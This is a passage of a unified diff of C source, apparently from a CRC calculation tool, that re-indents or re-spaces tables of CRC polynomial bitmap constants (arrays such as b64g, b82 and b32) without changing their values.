bmp_t b64g[] = { BMP_C(0xfcacbebd) << (BMP_BIT - 32) | BMP_C(0x2c98d4c9) >> (63 - BMP_BIT), - BMP_C(0x5931a992) << (BMP_BIT * 2 - 64), + BMP_C(0x5931a992) << (BMP_BIT * 2 - 64), }; static const bmp_t b64h[] = { BMP_C(0x995dc9bb) << (BMP_BIT - 32) | BMP_C(0x6f8c9cfd) >> (63 - BMP_BIT), - BMP_C(0xdf1939fa) << (BMP_BIT * 2 - 64), + BMP_C(0xdf1939fa) << (BMP_BIT * 2 - 64), }; static const bmp_t b64i[] = { BMP_C(0x49958c9a) << (BMP_BIT - 32) | BMP_C(0x5ebe9a9f) >> (63 - BMP_BIT), - BMP_C(0xbd7d353f) << (BMP_BIT * 2 - 64), + BMP_C(0xbd7d353f) << (BMP_BIT * 2 - 64), }; # endif /* BMP_BIT */ @@ -237,22 +237,22 @@ static const bmp_t b82a[] = { # elif BMP_BIT >= 41 static const bmp_t b82[] = { BMP_C(0x01846008880) << (BMP_BIT - 41) | BMP_C(0x08a00a20208) >> (81 - BMP_BIT), - BMP_C(0x11401440411) << (BMP_BIT * 2 - 82), + BMP_C(0x11401440411) << (BMP_BIT * 2 - 82), }; static const bmp_t b82a[] = { BMP_C(0x04f541fb128) << (BMP_BIT - 41) | BMP_C(0x011c00feb09) >> (81 - BMP_BIT), - BMP_C(0x023801fd612) << (BMP_BIT * 2 - 82), + BMP_C(0x023801fd612) << (BMP_BIT * 2 - 82), }; # else /* BMP_BIT */ static const bmp_t b82[] = { BMP_C(0x0c230044) << (BMP_BIT - 32) | BMP_C(0x040) >> (40 - BMP_BIT), - BMP_C(0x40450051) << (BMP_BIT * 2 - 64) | BMP_C(0x00104) >> (80 - BMP_BIT * 2), - BMP_C(0x00411) << (BMP_BIT * 3 - 82), + BMP_C(0x40450051) << (BMP_BIT * 2 - 64) | BMP_C(0x00104) >> (80 - BMP_BIT * 2), + BMP_C(0x00411) << (BMP_BIT * 3 - 82), }; static const bmp_t b82a[] = { BMP_C(0x27aa0fd8) << (BMP_BIT - 32) | BMP_C(0x094) >> (40 - BMP_BIT), - BMP_C(0x9408e007) << (BMP_BIT * 2 - 64) | BMP_C(0x0f584) >> (80 - BMP_BIT * 2), - BMP_C(0x3d612) << (BMP_BIT * 3 - 82), + BMP_C(0x9408e007) << (BMP_BIT * 2 - 64) | BMP_C(0x0f584) >> (80 - BMP_BIT * 2), + BMP_C(0x3d612) << (BMP_BIT * 3 - 82), }; # endif /* BMP_BIT */ @@ -262,215 +262,215 @@ static const bmp_t b82a[] = { /* Array of the polynomial bitmaps used in the model table. */ static const bmp_t b32[] = { BMP_C(0x000000af) << (BMP_BIT - 32), /* 0 -- 32,000000af */ - BMP_C(0x00010000) << (BMP_BIT - 32), /* 1 -- 16, 0001 */ - BMP_C(0x00020000) << (BMP_BIT - 32), /* 2 -- 15, 0001 */ - BMP_C(0x00065b00) << (BMP_BIT - 32), /* 3 -- 24, 00065b */ - BMP_C(0x007e0000) << (BMP_BIT - 32), /* 4 -- 16, 007e */ - BMP_C(0x007f0000) << (BMP_BIT - 32), /* 5 -- 16, 007f */ - BMP_C(0x03400000) << (BMP_BIT - 32), /* 6 -- 11, 01a */ - BMP_C(0x0376e6e7) << (BMP_BIT - 32), /* 7 -- 32,0376e6e7 */ - BMP_C(0x04c11db7) << (BMP_BIT - 32), /* 8 -- 32,04c11db7 */ - BMP_C(0x05890000) << (BMP_BIT - 32), /* 9 -- 16, 0589 */ - BMP_C(0x07000000) << (BMP_BIT - 32), /* 10 -- 8, 07 */ - BMP_C(0x080b0000) << (BMP_BIT - 32), /* 11 -- 16, 080b */ - BMP_C(0x09823b6e) << (BMP_BIT - 32), /* 12 -- 31,04c11db7 */ - BMP_C(0x0b3c0000) << (BMP_BIT - 32), /* 13 -- 15, 059e */ - BMP_C(0x0c000000) << (BMP_BIT - 32), /* 14 -- 6, 03 */ - BMP_C(0x0c200000) << (BMP_BIT - 32), /* 15 -- 11, 061 */ - BMP_C(0x0c780000) << (BMP_BIT - 32), /* 16 -- 14, 031e */ - BMP_C(0x0fb30000) << (BMP_BIT - 32), /* 17 -- 16, 0fb3 */ - BMP_C(0x10210000) << (BMP_BIT - 32), /* 18 -- 16, 1021 */ - BMP_C(0x12000000) << (BMP_BIT - 32), /* 19 -- 7, 09 */ - BMP_C(0x130d2afc) << (BMP_BIT - 32), /* 20 -- 30,04c34abf */ - BMP_C(0x144e6300) << (BMP_BIT - 32), /* 21 -- 24, 144e63 */ - BMP_C(0x15000000) << (BMP_BIT - 32), /* 22 -- 8, 15 */ - BMP_C(0x1697d06a) << (BMP_BIT - 32), /* 23 -- 32,1697d06a */ - BMP_C(0x17800000) << (BMP_BIT - 32), /* 24 -- 12, 178 */ - BMP_C(0x18000000) << (BMP_BIT - 32), /* 25 -- 6, 06 */ - BMP_C(0x19d3c8d8) << (BMP_BIT - 32), /* 26 -- 31,0ce9e46c */ - BMP_C(0x1c000000) << (BMP_BIT - 32), /* 27 -- 6, 07 */ - BMP_C(0x1d000000) << (BMP_BIT - 32), /* 28 -- 8, 1d */ - BMP_C(0x1d0f0000) << (BMP_BIT - 32), /* 29 -- 16, 1d0f */ - BMP_C(0x1dcf0000) << (BMP_BIT - 32), /* 30 -- 16, 1dcf */ - BMP_C(0x1edc6f41) << (BMP_BIT - 32), /* 31 -- 32,1edc6f41 */ - BMP_C(0x1f23b800) << (BMP_BIT - 32), /* 32 -- 24, 1f23b8 */ - BMP_C(0x20000000) << (BMP_BIT - 32), /* 33 -- 4, 2 */ - BMP_C(0x200fa500) << (BMP_BIT - 32), /* 34 -- 24, 200fa5 */ - BMP_C(0x20140000) << (BMP_BIT - 32), /* 35 -- 14, 0805 */ - BMP_C(0x20b40000) << (BMP_BIT - 32), /* 36 -- 14, 082d */ - BMP_C(0x20fe0000) << (BMP_BIT - 32), /* 37 -- 16, 20fe */ - BMP_C(0x21890000) << (BMP_BIT - 32), /* 38 -- 16, 2189 */ - BMP_C(0x21cf0200) << (BMP_BIT - 32), /* 39 -- 24, 21cf02 */ - BMP_C(0x23ef5200) << (BMP_BIT - 32), /* 40 -- 24, 23ef52 */ - BMP_C(0x25000000) << (BMP_BIT - 32), /* 41 -- 8, 25 */ - BMP_C(0x26000000) << (BMP_BIT - 32), /* 42 -- 8, 26 */ - BMP_C(0x26b10000) << (BMP_BIT - 32), /* 43 -- 16, 26b1 */ - BMP_C(0x27818000) << (BMP_BIT - 32), /* 44 -- 17, 04f03 */ - BMP_C(0x27d00000) << (BMP_BIT - 32), /* 45 -- 13, 04fa */ - BMP_C(0x28000000) << (BMP_BIT - 32), /* 46 -- 5, 05 */ - BMP_C(0x29b10000) << (BMP_BIT - 32), /* 47 -- 16, 29b1 */ - BMP_C(0x2f000000) << (BMP_BIT - 32), /* 48 -- 8, 2f */ - BMP_C(0x30000000) << (BMP_BIT - 32), /* 49 -- 4, 3/ 5, 6 */ - BMP_C(0x3010bf7f) << (BMP_BIT - 32), /* 50 -- 32,3010bf7f */ - BMP_C(0x31000000) << (BMP_BIT - 32), /* 51 -- 8, 31 */ - BMP_C(0x31800000) << (BMP_BIT - 32), /* 52 -- 10, 0c6 */ - BMP_C(0x31c30000) << (BMP_BIT - 32), /* 53 -- 16, 31c3 */ - BMP_C(0x328b6300) << (BMP_BIT - 32), /* 54 -- 24, 328b63 */ - BMP_C(0x34000000) << (BMP_BIT - 32), /* 55 -- 6, 0d */ - BMP_C(0x340bc6d9) << (BMP_BIT - 32), /* 56 -- 32,340bc6d9 */ - BMP_C(0x37000000) << (BMP_BIT - 32), /* 57 -- 8, 37 */ - BMP_C(0x38000000) << (BMP_BIT - 32), /* 58 -- 5, 07 */ - BMP_C(0x39000000) << (BMP_BIT - 32), /* 59 -- 8, 39 */ - BMP_C(0x3d650000) << (BMP_BIT - 32), /* 60 -- 16, 3d65 */ - BMP_C(0x3e000000) << (BMP_BIT - 32), /* 61 -- 8, 3e */ - BMP_C(0x40000000) << (BMP_BIT - 32), /* 62 -- 3, 2 */ - BMP_C(0x42000000) << (BMP_BIT - 32), /* 63 -- 8, 42 */ - BMP_C(0x44c20000) << (BMP_BIT - 32), /* 64 -- 16, 44c2 */ - BMP_C(0x45270551) << (BMP_BIT - 32), /* 65 -- 32,45270551 */ - BMP_C(0x48000000) << (BMP_BIT - 32), /* 66 -- 5, 09 */ - BMP_C(0x49000000) << (BMP_BIT - 32), /* 67 -- 8, 49 */ - BMP_C(0x4a800000) << (BMP_BIT - 32), /* 68 -- 10, 12a */ - BMP_C(0x4acc0000) << (BMP_BIT - 32), /* 69 -- 15, 2566 */ - BMP_C(0x4b000000) << (BMP_BIT - 32), /* 70 -- 8, 4b */ - BMP_C(0x4b370000) << (BMP_BIT - 32), /* 71 -- 16, 4b37 */ - BMP_C(0x4c000000) << (BMP_BIT - 32), /* 72 -- 6, 13 */ - BMP_C(0x4c060000) << (BMP_BIT - 32), /* 73 -- 16, 4c06 */ - BMP_C(0x53000000) << (BMP_BIT - 32), /* 74 -- 8, 53 */ - BMP_C(0x55000000) << (BMP_BIT - 32), /* 75 -- 8, 55 */ - BMP_C(0x55555500) << (BMP_BIT - 32), /* 76 -- 24, 555555 */ - BMP_C(0x59350000) << (BMP_BIT - 32), /* 77 -- 16, 5935 */ - BMP_C(0x5d380000) << (BMP_BIT - 32), /* 78 -- 16, 5d38 */ - BMP_C(0x5d400000) << (BMP_BIT - 32), /* 79 -- 10, 175 */ - BMP_C(0x5d6dcb00) << (BMP_BIT - 32), /* 80 -- 24, 5d6dcb */ - BMP_C(0x60000000) << (BMP_BIT - 32), /* 81 -- 3, 3 */ - BMP_C(0x60e00000) << (BMP_BIT - 32), /* 82 -- 11, 307 */ - BMP_C(0x63d00000) << (BMP_BIT - 32), /* 83 -- 16, 63d0 */ - BMP_C(0x64000000) << (BMP_BIT - 32), /* 84 -- 6, 19 */ - BMP_C(0x66400000) << (BMP_BIT - 32), /* 85 -- 10, 199 */ - BMP_C(0x66c50000) << (BMP_BIT - 32), /* 86 -- 16, 66c5 */ - BMP_C(0x6f630000) << (BMP_BIT - 32), /* 87 -- 16, 6f63 */ - BMP_C(0x6f910000) << (BMP_BIT - 32), /* 88 -- 16, 6f91 */ - BMP_C(0x70000000) << (BMP_BIT - 32), /* 89 -- 4, 7 */ - BMP_C(0x70a00000) << (BMP_BIT - 32), /* 90 -- 11, 385 */ - BMP_C(0x755b0000) << (BMP_BIT - 32), /* 91 -- 16, 755b */ - BMP_C(0x765e7680) << (BMP_BIT - 32), /* 92 -- 32,765e7680 */ - BMP_C(0x76c20800) << (BMP_BIT - 32), /* 93 -- 32, 0ed841 */ - BMP_C(0x7979bd00) << (BMP_BIT - 32), /* 94 -- 24, 7979bd */ - BMP_C(0x7e000000) << (BMP_BIT - 32), /* 95 -- 8, 7e */ - BMP_C(0x80000000) << (BMP_BIT - 32), /* 96 -- 3, 4 */ - BMP_C(0x80006300) << (BMP_BIT - 32), /* 97 -- 24, 800063 */ - BMP_C(0x80050000) << (BMP_BIT - 32), /* 98 -- 16, 8005 */ - BMP_C(0x800d0000) << (BMP_BIT - 32), /* 99 -- 16, 800d */ - BMP_C(0x800fe300) << (BMP_BIT - 32), /* 100 -- 24, 800fe3 */ - BMP_C(0x80b40000) << (BMP_BIT - 32), /* 101 -- 14, 202d */ - BMP_C(0x80c2e71c) << (BMP_BIT - 32), /* 102 -- 30,2030b9c7 */ - BMP_C(0x80f00000) << (BMP_BIT - 32), /* 103 -- 12, 80f */ - BMP_C(0x814141ab) << (BMP_BIT - 32), /* 104 -- 32,814141ab */ - BMP_C(0x8144c800) << (BMP_BIT - 32), /* 105 -- 21, 102899 */ - BMP_C(0x864cfb00) << (BMP_BIT - 32), /* 106 -- 24, 864cfb */ - BMP_C(0x87315576) << (BMP_BIT - 32), /* 107 -- 32,87315576 */ - BMP_C(0x89ec0000) << (BMP_BIT - 32), /* 108 -- 16, 89ec */ - BMP_C(0x8a000000) << (BMP_BIT - 32), /* 109 -- 7, 45 */ - BMP_C(0x8b320000) << (BMP_BIT - 32), /* 110 -- 15, 4599 */ - BMP_C(0x8bb70000) << (BMP_BIT - 32), /* 111 -- 16, 8bb7 */ - BMP_C(0x8cc00000) << (BMP_BIT - 32), /* 112 -- 10, 233 */ - BMP_C(0x904cddbf) << (BMP_BIT - 32), /* 113 -- 32,904cddbf */ - BMP_C(0x906e0000) << (BMP_BIT - 32), /* 114 -- 16, 906e */ - BMP_C(0x94000000) << (BMP_BIT - 32), /* 115 -- 8, 94 */ - BMP_C(0x97000000) << (BMP_BIT - 32), /* 116 -- 8, 97 */ - BMP_C(0x98000000) << (BMP_BIT - 32), /* 117 -- 6, 26 */ - BMP_C(0x99000000) << (BMP_BIT - 32), /* 118 -- 8, 99 */ - BMP_C(0x9b000000) << (BMP_BIT - 32), /* 119 -- 8, 9b */ - BMP_C(0x9c000000) << (BMP_BIT - 32), /* 120 -- 6, 27 */ - BMP_C(0x9d5e4de2) << (BMP_BIT - 32), /* 121 -- 31,4eaf26f1 */ - BMP_C(0x9e000000) << (BMP_BIT - 32), /* 122 -- 7, 4f */ - BMP_C(0x9ecf0000) << (BMP_BIT - 32), /* 123 -- 16, 9ecf */ - BMP_C(0xa0660000) << (BMP_BIT - 32), /* 124 -- 16, a066 */ - BMP_C(0xa0970000) << (BMP_BIT - 32), /* 125 -- 16, a097 */ - BMP_C(0xa1000000) << (BMP_BIT - 32), /* 126 -- 8, a1 */ - BMP_C(0xa3660000) << (BMP_BIT - 32), /* 127 -- 16, a366 */ - BMP_C(0xa6000000) << (BMP_BIT - 32), /* 128 -- 7, 53 */ - BMP_C(0xa7000000) << (BMP_BIT - 32), /* 129 -- 8, a7 */ - BMP_C(0xa8000000) << (BMP_BIT - 32), /* 130 -- 5, 15 */ - BMP_C(0xa8190000) << (BMP_BIT - 32), /* 131 -- 16, a819 */ - BMP_C(0xa833982b) << (BMP_BIT - 32), /* 132 -- 32,a833982b */ - BMP_C(0xabcdef00) << (BMP_BIT - 32), /* 133 -- 24, abcdef */ - BMP_C(0xac000000) << (BMP_BIT - 32), /* 134 -- 8, ac */ - BMP_C(0xaee70000) << (BMP_BIT - 32), /* 135 -- 16, aee7 */ - BMP_C(0xb0000000) << (BMP_BIT - 32), /* 136 -- 4, b */ - BMP_C(0xb0010000) << (BMP_BIT - 32), /* 137 -- 16, b001 */ - BMP_C(0xb2aa0000) << (BMP_BIT - 32), /* 138 -- 16, b2aa */ - BMP_C(0xb3400000) << (BMP_BIT - 32), /* 139 -- 12, b34 */ - BMP_C(0xb42d8000) << (BMP_BIT - 32), /* 140 -- 17, 1685b */ - BMP_C(0xb4600000) << (BMP_BIT - 32), /* 141 -- 11, 5a3 */ - BMP_C(0xb4c80000) << (BMP_BIT - 32), /* 142 -- 16, b4c8 */ - BMP_C(0xb4f3e600) << (BMP_BIT - 32), /* 143 -- 24, b4f3e6 */ - BMP_C(0xb704ce00) << (BMP_BIT - 32), /* 144 -- 24, b704ce */ - BMP_C(0xb798b438) << (BMP_BIT - 32), /* 145 -- 32,b798b438 */ - BMP_C(0xbb3d0000) << (BMP_BIT - 32), /* 146 -- 16, bb3d */ - BMP_C(0xbc000000) << (BMP_BIT - 32), /* 147 -- 6,2f/ 8,bc */ - BMP_C(0xbd0be338) << (BMP_BIT - 32), /* 148 -- 32,bd0be338 */ - BMP_C(0xbdf40000) << (BMP_BIT - 32), /* 149 -- 16, bdf4 */ - BMP_C(0xbf050000) << (BMP_BIT - 32), /* 150 -- 16, bf05 */ - BMP_C(0xc0000000) << (BMP_BIT - 32), /* 151 -- 3, 6 */ - BMP_C(0xc2000000) << (BMP_BIT - 32), /* 152 -- 7, 61 */ - BMP_C(0xc25a5600) << (BMP_BIT - 32), /* 153 -- 24, c25a56 */ - BMP_C(0xc2b70000) << (BMP_BIT - 32), /* 154 -- 16, c2b7 */ - BMP_C(0xc2b80000) << (BMP_BIT - 32), /* 155 -- 14, 30ae */ - BMP_C(0xc4000000) << (BMP_BIT - 32), /* 156 -- 8, c4 */ - BMP_C(0xc6c60000) << (BMP_BIT - 32), /* 157 -- 16, c6c6 */ - BMP_C(0xc7000000) << (BMP_BIT - 32), /* 158 -- 8, c7 */ - BMP_C(0xc704dd7b) << (BMP_BIT - 32), /* 159 -- 32,c704dd7b */ - BMP_C(0xc8000000) << (BMP_BIT - 32), /* 160 -- 5, 19 */ - BMP_C(0xc8670000) << (BMP_BIT - 32), /* 161 -- 16, c867 */ - BMP_C(0xcbf43926) << (BMP_BIT - 32), /* 162 -- 32,cbf43926 */ - BMP_C(0xcde70300) << (BMP_BIT - 32), /* 163 -- 24, cde703 */ - BMP_C(0xce3c0000) << (BMP_BIT - 32), /* 164 -- 16, ce3c */ - BMP_C(0xd0000000) << (BMP_BIT - 32), /* 165 -- 8, d0 */ - BMP_C(0xd02a0000) << (BMP_BIT - 32), /* 166 -- 15, 6815 */ - BMP_C(0xd0db0000) << (BMP_BIT - 32), /* 167 -- 16, d0db */ - BMP_C(0xd3100000) << (BMP_BIT - 32), /* 168 -- 12, d31 */ - BMP_C(0xd3be9568) << (BMP_BIT - 32), /* 169 -- 30,34efa55a */ - BMP_C(0xd4d00000) << (BMP_BIT - 32), /* 170 -- 12, d4d */ - BMP_C(0xd5000000) << (BMP_BIT - 32), /* 171 -- 8, d5 */ - BMP_C(0xd64e0000) << (BMP_BIT - 32), /* 172 -- 16, d64e */ - BMP_C(0xda000000) << (BMP_BIT - 32), /* 173 -- 8, da */ - BMP_C(0xdaf00000) << (BMP_BIT - 32), /* 174 -- 12, daf */ - BMP_C(0xdebb20e3) << (BMP_BIT - 32), /* 175 -- 32,debb20e3 */ - BMP_C(0xdf000000) << (BMP_BIT - 32), /* 176 -- 8, df */ - BMP_C(0xe0000000) << (BMP_BIT - 32), /* 177 -- 3, 7 */ - BMP_C(0xe3069283) << (BMP_BIT - 32), /* 178 -- 32,e3069283 */ - BMP_C(0xe3940000) << (BMP_BIT - 32), /* 179 -- 16, e394 */ - BMP_C(0xe5cc0000) << (BMP_BIT - 32), /* 180 -- 16, e5cc */ - BMP_C(0xe7a80000) << (BMP_BIT - 32), /* 181 -- 13, 1cf5 */ - BMP_C(0xe8000000) << (BMP_BIT - 32), /* 182 -- 6, 3a */ - BMP_C(0xea000000) << (BMP_BIT - 32), /* 183 -- 7, 75 */ - BMP_C(0xea820000) << (BMP_BIT - 32), /* 184 -- 16, ea82 */ - BMP_C(0xec000000) << (BMP_BIT - 32), /* 185 -- 6, 3b */ - BMP_C(0xf0000000) << (BMP_BIT - 32), /* 186 -- 4, f */ - BMP_C(0xf0b80000) << (BMP_BIT - 32), /* 187 -- 16, f0b8 */ - BMP_C(0xf1300000) << (BMP_BIT - 32), /* 188 -- 12, f13 */ - BMP_C(0xf4000000) << (BMP_BIT - 32), /* 189 -- 8, f4 */ - BMP_C(0xf4acfb13) << (BMP_BIT - 32), /* 190 -- 32,f4acfb13 */ - BMP_C(0xf5b00000) << (BMP_BIT - 32), /* 191 -- 12, f5b */ - BMP_C(0xf6400000) << (BMP_BIT - 32), /* 192 -- 10, 3d9 */ - BMP_C(0xf7000000) << (BMP_BIT - 32), /* 193 -- 8, f7 */ - BMP_C(0xf8000000) << (BMP_BIT - 32), /* 194 -- 5, 1f */ - BMP_C(0xfc000000) << (BMP_BIT - 32), /* 195 -- 6, 3f */ - BMP_C(0xfc891918) << (BMP_BIT - 32), /* 196 -- 32,fc891918 */ - BMP_C(0xfd000000) << (BMP_BIT - 32), /* 197 -- 8, fd */ - BMP_C(0xfe000000) << (BMP_BIT - 32), /* 198 -- 7, 7f */ - BMP_C(0xfedcba00) << (BMP_BIT - 32), /* 199 -- 24, fedcba */ - BMP_C(0xfee80000) << (BMP_BIT - 32), /* 200 -- 16, fee8 */ - BMP_C(0xff000000) << (BMP_BIT - 32), /* 201 -- 8, ff */ - BMP_C(0xffc00000) << (BMP_BIT - 32), /* 202 -- 10, 3ff */ - BMP_C(0xfff00000) << (BMP_BIT - 32), /* 203 -- 12, fff */ - BMP_C(0xfffc0000) << (BMP_BIT - 32), /* 204 -- 14, 3fff */ - BMP_C(0xffff0000) << (BMP_BIT - 32), /* 205 -- 16, ffff */ - BMP_C(0xffffff00) << (BMP_BIT - 32), /* 206 -- 24, ffffff */ - BMP_C(0xfffffffc) << (BMP_BIT - 32), /* 207 -- 30,3fffffff */ - BMP_C(0xfffffffe) << (BMP_BIT - 32), /* 208 -- 31,7fffffff */ - BMP_C(0xffffffff) << (BMP_BIT - 32), /* 209 -- 32,ffffffff */ + BMP_C(0x00010000) << (BMP_BIT - 32), /* 1 -- 16, 0001 */ + BMP_C(0x00020000) << (BMP_BIT - 32), /* 2 -- 15, 0001 */ + BMP_C(0x00065b00) << (BMP_BIT - 32), /* 3 -- 24, 00065b */ + BMP_C(0x007e0000) << (BMP_BIT - 32), /* 4 -- 16, 007e */ + BMP_C(0x007f0000) << (BMP_BIT - 32), /* 5 -- 16, 007f */ + BMP_C(0x03400000) << (BMP_BIT - 32), /* 6 -- 11, 01a */ + BMP_C(0x0376e6e7) << (BMP_BIT - 32), /* 7 -- 32,0376e6e7 */ + BMP_C(0x04c11db7) << (BMP_BIT - 32), /* 8 -- 32,04c11db7 */ + BMP_C(0x05890000) << (BMP_BIT - 32), /* 9 -- 16, 0589 */ + BMP_C(0x07000000) << (BMP_BIT - 32), /* 10 -- 8, 07 */ + BMP_C(0x080b0000) << (BMP_BIT - 32), /* 11 -- 16, 080b */ + BMP_C(0x09823b6e) << (BMP_BIT - 32), /* 12 -- 31,04c11db7 */ + BMP_C(0x0b3c0000) << (BMP_BIT - 32), /* 13 -- 15, 059e */ + BMP_C(0x0c000000) << (BMP_BIT - 32), /* 14 -- 6, 03 */ + BMP_C(0x0c200000) << (BMP_BIT - 32), /* 15 -- 11, 061 */ + BMP_C(0x0c780000) << (BMP_BIT - 32), /* 16 -- 14, 031e */ + BMP_C(0x0fb30000) << (BMP_BIT - 32), /* 17 -- 16, 0fb3 */ + BMP_C(0x10210000) << (BMP_BIT - 32), /* 18 -- 16, 1021 */ + BMP_C(0x12000000) << (BMP_BIT - 32), /* 19 -- 7, 09 */ + BMP_C(0x130d2afc) << (BMP_BIT - 32), /* 20 -- 30,04c34abf */ + BMP_C(0x144e6300) << (BMP_BIT - 32), /* 21 -- 24, 144e63 */ + BMP_C(0x15000000) << (BMP_BIT - 32), /* 22 -- 8, 15 */ + BMP_C(0x1697d06a) << (BMP_BIT - 32), /* 23 -- 32,1697d06a */ + BMP_C(0x17800000) << (BMP_BIT - 32), /* 24 -- 12, 178 */ + BMP_C(0x18000000) << (BMP_BIT - 32), /* 25 -- 6, 06 */ + BMP_C(0x19d3c8d8) << (BMP_BIT - 32), /* 26 -- 31,0ce9e46c */ + BMP_C(0x1c000000) << (BMP_BIT - 32), /* 27 -- 6, 07 */ + BMP_C(0x1d000000) << (BMP_BIT - 32), /* 28 -- 8, 1d */ + BMP_C(0x1d0f0000) << (BMP_BIT - 32), /* 29 -- 16, 1d0f */ + BMP_C(0x1dcf0000) << (BMP_BIT - 32), /* 30 -- 16, 1dcf */ + BMP_C(0x1edc6f41) << (BMP_BIT - 32), /* 31 -- 32,1edc6f41 */ + BMP_C(0x1f23b800) << (BMP_BIT - 32), /* 32 -- 24, 1f23b8 */ + BMP_C(0x20000000) << (BMP_BIT - 32), /* 33 -- 4, 2 */ + BMP_C(0x200fa500) << (BMP_BIT - 32), /* 34 -- 24, 200fa5 */ + BMP_C(0x20140000) << (BMP_BIT - 32), /* 35 -- 14, 0805 */ + BMP_C(0x20b40000) << (BMP_BIT - 32), /* 36 -- 14, 082d */ + BMP_C(0x20fe0000) << (BMP_BIT - 32), /* 37 -- 16, 20fe */ + BMP_C(0x21890000) << (BMP_BIT - 32), /* 38 -- 16, 2189 */ + BMP_C(0x21cf0200) << (BMP_BIT - 32), /* 39 -- 24, 21cf02 */ + BMP_C(0x23ef5200) << (BMP_BIT - 32), /* 40 -- 24, 23ef52 */ + BMP_C(0x25000000) << (BMP_BIT - 32), /* 41 -- 8, 25 */ + BMP_C(0x26000000) << (BMP_BIT - 32), /* 42 -- 8, 26 */ + BMP_C(0x26b10000) << (BMP_BIT - 32), /* 43 -- 16, 26b1 */ + BMP_C(0x27818000) << (BMP_BIT - 32), /* 44 -- 17, 04f03 */ + BMP_C(0x27d00000) << (BMP_BIT - 32), /* 45 -- 13, 04fa */ + BMP_C(0x28000000) << (BMP_BIT - 32), /* 46 -- 5, 05 */ + BMP_C(0x29b10000) << (BMP_BIT - 32), /* 47 -- 16, 29b1 */ + BMP_C(0x2f000000) << (BMP_BIT - 32), /* 48 -- 8, 2f */ + BMP_C(0x30000000) << (BMP_BIT - 32), /* 49 -- 4, 3/ 5, 6 */ + BMP_C(0x3010bf7f) << (BMP_BIT - 32), /* 50 -- 32,3010bf7f */ + BMP_C(0x31000000) << (BMP_BIT - 32), /* 51 -- 8, 31 */ + BMP_C(0x31800000) << (BMP_BIT - 32), /* 52 -- 10, 0c6 */ + BMP_C(0x31c30000) << (BMP_BIT - 32), /* 53 -- 16, 31c3 */ + BMP_C(0x328b6300) << (BMP_BIT - 32), /* 54 -- 24, 328b63 */ + BMP_C(0x34000000) << (BMP_BIT - 32), /* 55 -- 6, 0d */ + BMP_C(0x340bc6d9) << (BMP_BIT - 32), /* 56 -- 32,340bc6d9 */ + BMP_C(0x37000000) << (BMP_BIT - 32), /* 57 -- 8, 37 */ + BMP_C(0x38000000) << (BMP_BIT - 32), /* 58 -- 5, 07 */ + BMP_C(0x39000000) << (BMP_BIT - 32), /* 59 -- 8, 39 */ + BMP_C(0x3d650000) << (BMP_BIT - 32), /* 60 -- 16, 3d65 */ + BMP_C(0x3e000000) << (BMP_BIT - 32), /* 61 -- 8, 3e */ + BMP_C(0x40000000) << (BMP_BIT - 32), /* 62 -- 3, 2 */ + BMP_C(0x42000000) << (BMP_BIT - 32), /* 63 -- 8, 42 */ + BMP_C(0x44c20000) << (BMP_BIT - 32), /* 64 -- 16, 44c2 */ + BMP_C(0x45270551) << (BMP_BIT - 32), /* 65 -- 32,45270551 */ + BMP_C(0x48000000) << (BMP_BIT - 32), /* 66 -- 5, 09 */ + BMP_C(0x49000000) << (BMP_BIT - 32), /* 67 -- 8, 49 */ + BMP_C(0x4a800000) << (BMP_BIT - 32), /* 68 -- 10, 12a */ + BMP_C(0x4acc0000) << (BMP_BIT - 32), /* 69 -- 15, 2566 */ + BMP_C(0x4b000000) << (BMP_BIT - 32), /* 70 -- 8, 4b */ + BMP_C(0x4b370000) << (BMP_BIT - 32), /* 71 -- 16, 4b37 */ + BMP_C(0x4c000000) << (BMP_BIT - 32), /* 72 -- 6, 13 */ + BMP_C(0x4c060000) << (BMP_BIT - 32), /* 73 -- 16, 4c06 */ + BMP_C(0x53000000) << (BMP_BIT - 32), /* 74 -- 8, 53 */ + BMP_C(0x55000000) << (BMP_BIT - 32), /* 75 -- 8, 55 */ + BMP_C(0x55555500) << (BMP_BIT - 32), /* 76 -- 24, 555555 */ + BMP_C(0x59350000) << (BMP_BIT - 32), /* 77 -- 16, 5935 */ + BMP_C(0x5d380000) << (BMP_BIT - 32), /* 78 -- 16, 5d38 */ + BMP_C(0x5d400000) << (BMP_BIT - 32), /* 79 -- 10, 175 */ + BMP_C(0x5d6dcb00) << (BMP_BIT - 32), /* 80 -- 24, 5d6dcb */ + BMP_C(0x60000000) << (BMP_BIT - 32), /* 81 -- 3, 3 */ + BMP_C(0x60e00000) << (BMP_BIT - 32), /* 82 -- 11, 307 */ + BMP_C(0x63d00000) << (BMP_BIT - 32), /* 83 -- 16, 63d0 */ + BMP_C(0x64000000) << (BMP_BIT - 32), /* 84 -- 6, 19 */ + BMP_C(0x66400000) << (BMP_BIT - 32), /* 85 -- 10, 199 */ + BMP_C(0x66c50000) << (BMP_BIT - 32), /* 86 -- 16, 66c5 */ + BMP_C(0x6f630000) << (BMP_BIT - 32), /* 87 -- 16, 6f63 */ + BMP_C(0x6f910000) << (BMP_BIT - 32), /* 88 -- 16, 6f91 */ + BMP_C(0x70000000) << (BMP_BIT - 32), /* 89 -- 4, 7 */ + BMP_C(0x70a00000) << (BMP_BIT - 32), /* 90 -- 11, 385 */ + BMP_C(0x755b0000) << (BMP_BIT - 32), /* 91 -- 16, 755b */ + BMP_C(0x765e7680) << (BMP_BIT - 32), /* 92 -- 32,765e7680 */ + BMP_C(0x76c20800) << (BMP_BIT - 32), /* 93 -- 32, 0ed841 */ + BMP_C(0x7979bd00) << (BMP_BIT - 32), /* 94 -- 24, 7979bd */ + BMP_C(0x7e000000) << (BMP_BIT - 32), /* 95 -- 8, 7e */ + BMP_C(0x80000000) << (BMP_BIT - 32), /* 96 -- 3, 4 */ + BMP_C(0x80006300) << (BMP_BIT - 32), /* 97 -- 24, 800063 */ + BMP_C(0x80050000) << (BMP_BIT - 32), /* 98 -- 16, 8005 */ + BMP_C(0x800d0000) << (BMP_BIT - 32), /* 99 -- 16, 800d */ + BMP_C(0x800fe300) << (BMP_BIT - 32), /* 100 -- 24, 800fe3 */ + BMP_C(0x80b40000) << (BMP_BIT - 32), /* 101 -- 14, 202d */ + BMP_C(0x80c2e71c) << (BMP_BIT - 32), /* 102 -- 30,2030b9c7 */ + BMP_C(0x80f00000) << (BMP_BIT - 32), /* 103 -- 12, 80f */ + BMP_C(0x814141ab) << (BMP_BIT - 32), /* 104 -- 32,814141ab */ + BMP_C(0x8144c800) << (BMP_BIT - 32), /* 105 -- 21, 102899 */ + BMP_C(0x864cfb00) << (BMP_BIT - 32), /* 106 -- 24, 864cfb */ + BMP_C(0x87315576) << (BMP_BIT - 32), /* 107 -- 32,87315576 